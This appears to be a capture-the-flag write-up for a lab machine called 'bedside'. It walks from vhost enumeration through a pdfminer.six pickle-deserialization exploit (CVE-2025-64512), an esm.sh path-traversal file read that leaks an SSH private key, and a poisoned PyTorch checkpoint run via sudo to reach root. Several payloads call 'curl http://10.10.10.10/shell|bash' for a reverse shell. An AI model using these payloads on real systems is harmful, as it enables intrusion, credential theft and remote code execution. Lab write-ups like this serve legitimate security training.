Reconnaissance

PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp   open     http    Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://bedside.htb/
|_http-server-header: Apache/2.4.68 (Debian)
3000/tcp filtered ppp
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 there’s a redirect to bedside.htb, therefore I add this to my /etc/hosts file. There might also be another web server on port 3000, but only accessible through the local host.

Execution

The web site for the Bedside Clinic is rather boring. None of the links nor buttons do anything and the only piece of information is a generic email address.

As the page is responding to a virtual host, I try to enumerate additional valid ones with ffuf. A few moments later I end up with another sub domain called research, that I add to my hosts file.

$ ffuf -u http://bedside.htb \
       -H 'Host: FUZZ.bedside.htb' \
       -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
       -ac
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://bedside.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.bedside.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
research                [Status: 200, Size: 3152, Words: 313, Lines: 80, Duration: 19ms]

On the Research Portal I can upload files to be used for AI training. It restricts the extensions one can upload to certain image formats and PDF, as well as archives.

Trying to upload a simple PNG file works and a success message is displayed. On the other hand a PHP file generates an error message and and prints the allowed extensions. This reveals that the archives can be GZ and ZIP.

Invalid file type. Allowed: jpeg, jpg, png, bmp, tiff, dcm, pdf, gz, zip

When I intercept the upload with BurpSuite and modify the Content-Type in the multi-part data the error messages changes again. This time it leaks the upload directory on the server. It seems like all the files go into /var/www/research.bedside.htb/uploads.

MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads

Going to research.beside.htb/uploads/image.png shows my previously uploaded file, so it’s safe to assume that the path is correct.

Another piece of information that gets leaked through the responses is the conversion framework in use. Based on the X-Powered-By header, the server is using pdfminer.six to extract data from PDF. Even though the page does not expose a version number I go through the reported vulnerabilities on their GitHub repository and find CVE-2025-64512.

HTTP/1.1 200 OK
Date: Mon, 10 Aug 2026 12:44:39 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: pdfminer.six
Vary: Accept-Encoding
Content-Length: 3274
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The vulnerability is a code execution through unsafe deserialization of pickled data. It comes with a simple proof-of-concept.

Exploiting is a two step approach. First I have to place my pickled payload on the server with a .pickle.gz extensions and then convert a crafted PDF that contains a reference to the payload. Luckily the server accepts both, GZ and PDF files, and I already know the upload path so I don’t have to guess the directory for the reference.

generate_pickle.py
#!/usr/bin/env python3
import pickle
import gzip
 
def create_demo_pickle():
    print("Creating demonstration pickle file...")
 
    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "__import__('os').system('curl http://10.10.10.10/shell|bash') or exit(0) or {}"
            return (eval, (code,))
 
    demo_cmap_data = EvilPayload()
 
    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"
 
    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path
 
    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None
 
if __name__ == "__main__":
    create_demo_pickle()
 

This slightly modified script produces the pickled payload that I upload first. Then I paste the following data into malicious.pdf and upload it as well. It takes a bit until the conversion happens and I get a shell as datawrangler with a Docker container.

malicious.pdf
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
 
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
 
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj
 
4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj
 
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
 
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj
 
7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj
 
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF

Privilege Escalation

Shell as developer

The container is rather stripped down and is lacking some basic enumeration tools. From the initial enumeration I already know that there might be another web server on port 3000. Using curl to access it via localhost returns HTML code. In order to access it from my own host, I open a SOCKS proxy with chisel.

A rather blank page is awaiting me on port 3000 even though it says Image Viewer. On the console the framework logged a message and that points me towards esm.sh. This framework also has a lot of open vulnerabilities and might be vulnerable to CVE-2025-59341, a local file inclusion.

$ proxychains -q curl --path-as-is \
                      'http://127.0.0.1:3000/../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
datawrangler:x:988:1001::/home/datawrangler:/bin/sh
_laurel:x:987:987::/var/log/laurel:/bin/false
polkitd:x:986:986:User for polkitd:/:/usr/sbin/nologin
 
$ proxychains -q curl --path-as-is \
                      'http://127.0.0.1:3000/../../../../../etc/hostname'
bedside

Trying to read /etc/passwd tells me two things, the exploit is working and the application is running on a different host as the contents of the local file differs. On bedside there’s another account present called developer.

As the app might be running in that accounts context, I check for the presence of a SSH key. The default location works and I get access to the developer user on the host.

$ curl --path-as-is http://localhost:3000/../../../../home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAif7DtVQ9X236vlEhd0VzSJ0ZJVzyrwAb7zT5IOZotAAAAAJj05ixK9OYs
SgAAAAtzc2gtZWQyNTUxOQAAACAif7DtVQ9X236vlEhd0VzSJ0ZJVzyrwAb7zT5IOZotAA
AAAEBySF+9afvOfxLBTbYWcyNm7zOrsXrKdvfkg/vvFZaiwiJ/sO1VD1fbfq+USF3RXNIn
RklXPKvABvvNPkg5mi0AAAAAEWRldmVsb3BlckBiZWRzaWRlAQIDBA==
-----END OPENSSH PRIVATE KEY-----

Shell as root

Thanks to sudo privileges developer can run a Python script as root.

$ sudo -ln
Matching Defaults entries for developer on bedside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User developer may run the following commands on bedside:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

From the comments in the beginning the script is used to train an AI model based on the files in /datastore.

bedside_trainer.py
#!/usr/bin/env python3
"""
Bedside Clinic - MONAI trainer (v0.1.0-beta)
 
This software is an internal beta release intended for use by company staff and developers
for testing, experimentation, and development purposes only.
 
Key points:
 
- Staff must **exercise caution** and ensure proper backups of any data used with this tool.
- This tool should **not be used for clinical decision-making** or in patient care.
- Further development, testing, and validation are required before any production deployment.
 
Usage:
    python bedside_trainer.py [--epochs N] [--batch-size N] [--lr LR] [--scanner /dev/usbscanner0]
 
Notes:
- Root access is required if specifying a hardware scanner.
- RAW_DIR is currently a placeholder for future integration. Preprocessing features will be added in the future to handle more complex files (DICOM, NIfTI, etc.)
- Current data flow is as follows: [staging/] > [processed/] > (DataLoader) > model
- Script is currently fully functional with image files (jpeg, png, etc.). Refer to allowed extensions for supported types.
 
"""
 
import os
import sys
import shutil
import argparse
from pathlib import Path
from datetime import datetime
import logging
import warnings
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.tensorboard import SummaryWriter
from torch.utils.data import DataLoader
 
# MONAI imports
warnings.filterwarnings("ignore", category=FutureWarning)
from monai.data import Dataset, CacheDataset
from monai.transforms import (
    Compose, LoadImaged, EnsureChannelFirstd, ScaleIntensityd,
    RandSpatialCropd, ToTensord, EnsureTyped, ResizeWithPadOrCropd
)
from monai.handlers import CheckpointLoader  # <-- Correct import
 
# --------------------------
# Datastore paths
# --------------------------
DATASTORE_ROOT = Path("/datastore")
CHECKPOINT_DIR = DATASTORE_ROOT / "checkpoints"
LOGS_DIR = DATASTORE_ROOT / "logs"
MODELS_DIR = DATASTORE_ROOT / "models"
PROCESSED_DIR = DATASTORE_ROOT / "processed"
RAW_DIR = DATASTORE_ROOT / "raw"
STAGING_DIR = DATASTORE_ROOT / "staging"
 
for d in (CHECKPOINT_DIR, LOGS_DIR, MODELS_DIR, PROCESSED_DIR, RAW_DIR, STAGING_DIR):
    d.mkdir(parents=True, exist_ok=True)
 
# --------------------------
# Logging setup
# --------------------------
log_file = LOGS_DIR / f"training_{datetime.now().strftime('%Y%m%d-%H%M%S')}.log"
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s",
    handlers=[
        logging.FileHandler(log_file),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)
 
# --------------------------
# File types
# --------------------------
ALLOWED_EXTS = {
    "jpeg", "jpg", "png", "bmp", "tiff", "tif",
    "gif", "dcm", "ima", "mhd", "raw", "nrrd",
    "nii", "gz", "hdr", "img", "zip", "tar", "tar.gz", "7z",
    "pdf", "txt", "npy"
}
 
# --------------------------
# Device
# --------------------------
DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu")
 
# --------------------------
# Utility functions
# --------------------------
def find_latest_checkpoint(checkpoint_dir: Path):
    ckpts = sorted(checkpoint_dir.glob("*.pt"), key=os.path.getmtime)
    return ckpts[-1] if ckpts else None
 
def is_nifti(p: Path):
    return p.suffix in (".nii", ".gz") and (p.name.endswith(".nii") or p.name.endswith(".nii.gz"))
 
def collect_processed_files(processed_dir: Path, limit=None):
    files = [p for p in processed_dir.glob("**/*") if p.is_file() and p.suffix.lower().lstrip(".") in ALLOWED_EXTS]
    if limit:
        files = files[:limit]
    return [{"image": str(p)} for p in files]
 
def conservative_promote_from_staging(staging_dir: Path, processed_dir: Path, max_files=100):
    promoted = 0
    for p in sorted(staging_dir.iterdir()):
        if promoted >= max_files:
            break
        if not p.is_file():
            continue
        ext = p.suffix.lower().lstrip(".")
        if ext in ALLOWED_EXTS:
            dest = processed_dir / p.name
            try:
                shutil.move(str(p), str(dest))
                promoted += 1
            except Exception as e:
                logger.warning(f"Failed to promote {p}: {e}")
    return promoted
 
def prepare_dataloader_from_processed(processed_dir: Path, batch_size: int):
    data = collect_processed_files(processed_dir)
    if not data:
        return None, 0
 
    contains_nifti = any(is_nifti(Path(d["image"])) for d in data)
 
    if contains_nifti:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            RandSpatialCropd(keys=["image"], roi_size=(64,64,64), random_size=False),
            EnsureTyped(keys=["image"])
        ])
        dataset = CacheDataset(data=data, transform=transforms, cache_rate=1.0, num_workers=1)
    else:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            ResizeWithPadOrCropd(keys=["image"], spatial_size=(64,64)),
            ToTensord(keys=["image"]),
            EnsureTyped(keys=["image"])
        ])
        dataset = Dataset(data=data, transform=transforms)
 
    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=1)
    return dataloader, len(data)
 
def build_model(dataloader=None, hidden_dim=128):
    if dataloader is None:
        raise ValueError("Dataloader must be provided to infer input size.")
    sample_batch = next(iter(dataloader))["image"].to(torch.device("cpu"))
    n_features = sample_batch.numel() // sample_batch.shape[0]
    logger.info(f"Auto-detected input features: {n_features}")
    model = nn.Sequential(
        nn.Flatten(),
        nn.Linear(n_features, hidden_dim),
        nn.ReLU(),
        nn.Linear(hidden_dim, 1)
    )
    return model
 
# --------------------------
# Main
# --------------------------
def main():
    parser = argparse.ArgumentParser(description="MONAI trainer with datastore integration")
    parser.add_argument("--epochs", "-e", type=int, default=50, help="Number of training epochs")
    parser.add_argument("--batch-size", "-b", type=int, default=4, help="Batch size")
    parser.add_argument("--lr", type=float, default=1e-3, help="Learning rate")
    parser.add_argument("--scanner", type=str, default=None, help="Hardware scanner device (requires root)")
    args = parser.parse_args()
 
    if args.scanner and os.geteuid() != 0:
        logger.error("Root access required to use a hardware scanner. Exiting.")
        sys.exit(1)
 
    NUM_EPOCHS = args.epochs
    BATCH_SIZE = args.batch_size
    LEARNING_RATE = args.lr
    SAVE_INTERVAL = 5
 
    logger.info(f"Device: {DEVICE}")
 
    dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
    if n_data == 0:
        promoted = conservative_promote_from_staging(STAGING_DIR, PROCESSED_DIR, max_files=200)
        if promoted:
            logger.info(f"Promoted {promoted} files from staging -> processed")
            dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
        else:
            logger.warning("No data available to train. Exiting.")
            return
 
    logger.info(f"Using {n_data} samples for training.")
 
    model = build_model(dataloader).to(DEVICE)
    optimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)
    loss_fn = nn.MSELoss()
 
    # --------------------------
    # Checkpoint loading (MONAI-compatible callable form)
    # --------------------------
    latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)
    start_epoch = 0
    if latest_ckpt:
        logger.info(f"Found checkpoint {latest_ckpt}, loading with CheckpointLoader (callable mode)...")
        loader = CheckpointLoader(
            load_path=str(latest_ckpt),
            load_dict={"model": model, "optimizer": optimizer},
            map_location=DEVICE
        )
 
        # Minimal mock engine for MONAI handler compatibility
        class MockEngine:
            def __init__(self):
                self.state = type("State", (), {})()
                self.state.max_epochs = None
                self.state.epoch = 0
 
        engine = MockEngine()
        loader(engine)  # invoke the handler directly
 
        # Retrieve saved epoch if available
        if hasattr(engine.state, "epoch") and engine.state.epoch:
            start_epoch = engine.state.epoch
        elif hasattr(loader, "loaded_objects") and "epoch" in loader.loaded_objects:
            start_epoch = loader.loaded_objects["epoch"]
 
        logger.info(f"Resuming from epoch {start_epoch}")
 
    writer = SummaryWriter(log_dir=str(LOGS_DIR / datetime.now().strftime("%Y%m%d-%H%M%S")))
 
    # Training loop
    for epoch in range(start_epoch, NUM_EPOCHS):
        model.train()
        epoch_loss = 0.0
        for batch in dataloader:
            imgs = batch["image"].to(DEVICE)
            target = torch.zeros((imgs.shape[0], 1), device=DEVICE)
 
            optimizer.zero_grad()
            out = model(imgs)
            loss = loss_fn(out, target)
            loss.backward()
            optimizer.step()
            epoch_loss += float(loss.item())
 
        avg_loss = epoch_loss / max(1, len(dataloader))
        logger.info(f"[EPOCH {epoch+1}/{NUM_EPOCHS}] avg_loss: {avg_loss:.6f}")
 
        if (epoch + 1) % SAVE_INTERVAL == 0 or (epoch + 1) == NUM_EPOCHS:
            ckpt_payload = {
                "epoch": epoch + 1,
                "model": model.state_dict(),
                "optimizer": optimizer.state_dict()
            }
            ckpt_name = CHECKPOINT_DIR / f"checkpoint_epoch_{epoch+1}.pt"
            torch.save(ckpt_payload, ckpt_name)
            logger.info(f"Saved checkpoint: {ckpt_name}")
 
    # Save final model
    final_model_file = MODELS_DIR / f"final_model_{datetime.now().strftime('%Y%m%d-%H%M%S')}.pt"
    torch.save({"model": model.state_dict()}, final_model_file)
    logger.info(f"Saved final model: {final_model_file}")
    logger.info("Training completed.")
    writer.close()
 
 
if __name__ == "__main__":
    main()

Despite the name and the current sage of the script, the user developer does not have any access to those directories, not even the parent one. But those directories are also mapped in the Docker container and grant datawrangler extensive access.

$ ls -la
total 32
drwxrwx--- 8 datawrangler dataops 4096 Jul 13 13:00 .
drwxr-xr-x 1 root         root    4096 Jul 13 13:00 ..
drwxrwx--- 2 datawrangler dataops 4096 Jul 13 13:00 checkpoints
drwxrwx--- 2 datawrangler dataops 4096 Jul 15 23:38 logs
drwxrwx--- 2 datawrangler dataops 4096 Jul 13 13:00 models
drwxrwx--- 2 datawrangler dataops 4096 Jul 13 13:00 processed
drwxrwx--- 2 datawrangler dataops 4096 Jul 13 13:00 raw
drwxrwx--- 2 datawrangler dataops 4096 Aug 10 13:43 staging

In the container I create a malicious checkpoint that runs my reverse shell and then place it into /datastore/checkpoints/root.pt. Additionally I also place a valid image into processed for the script to pick up.

import pickle
import os
 
class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("curl http://10.10.10.10/shell|bash",))
 
with open("root.pt", "wb") as f:
    pickle.dump(MaliciousPayload(), f)

Now back on the host, I run the training script. It loads my malicious checkpoint and I get a shell as root.

Info

Previous runs might have polluted the directories and placed (empty) txt files there. Since they are not images they have to be deleted first.

Attack Path

flowchart TD

subgraph "Execution"
    A(Web) -->|Bruteforce vHosts| B(research subdomain)
    B --> C(File Upload)
    C --> |MIME Mismatch| D(Upload path leak)
    C & D -->|CVE-2025-64512 in pdfminer| E(Shell as datawrangler)
end

subgraph "Privilege Escalation"
    E -->|CVE-2025-59341| F(Shell as developer)
    F -->|sudo privileges| G(Run training script as root)
    E -->|Write access to mounted directory| H(Place malicious checkpoint)
    G & H --> I(Shell as root)
end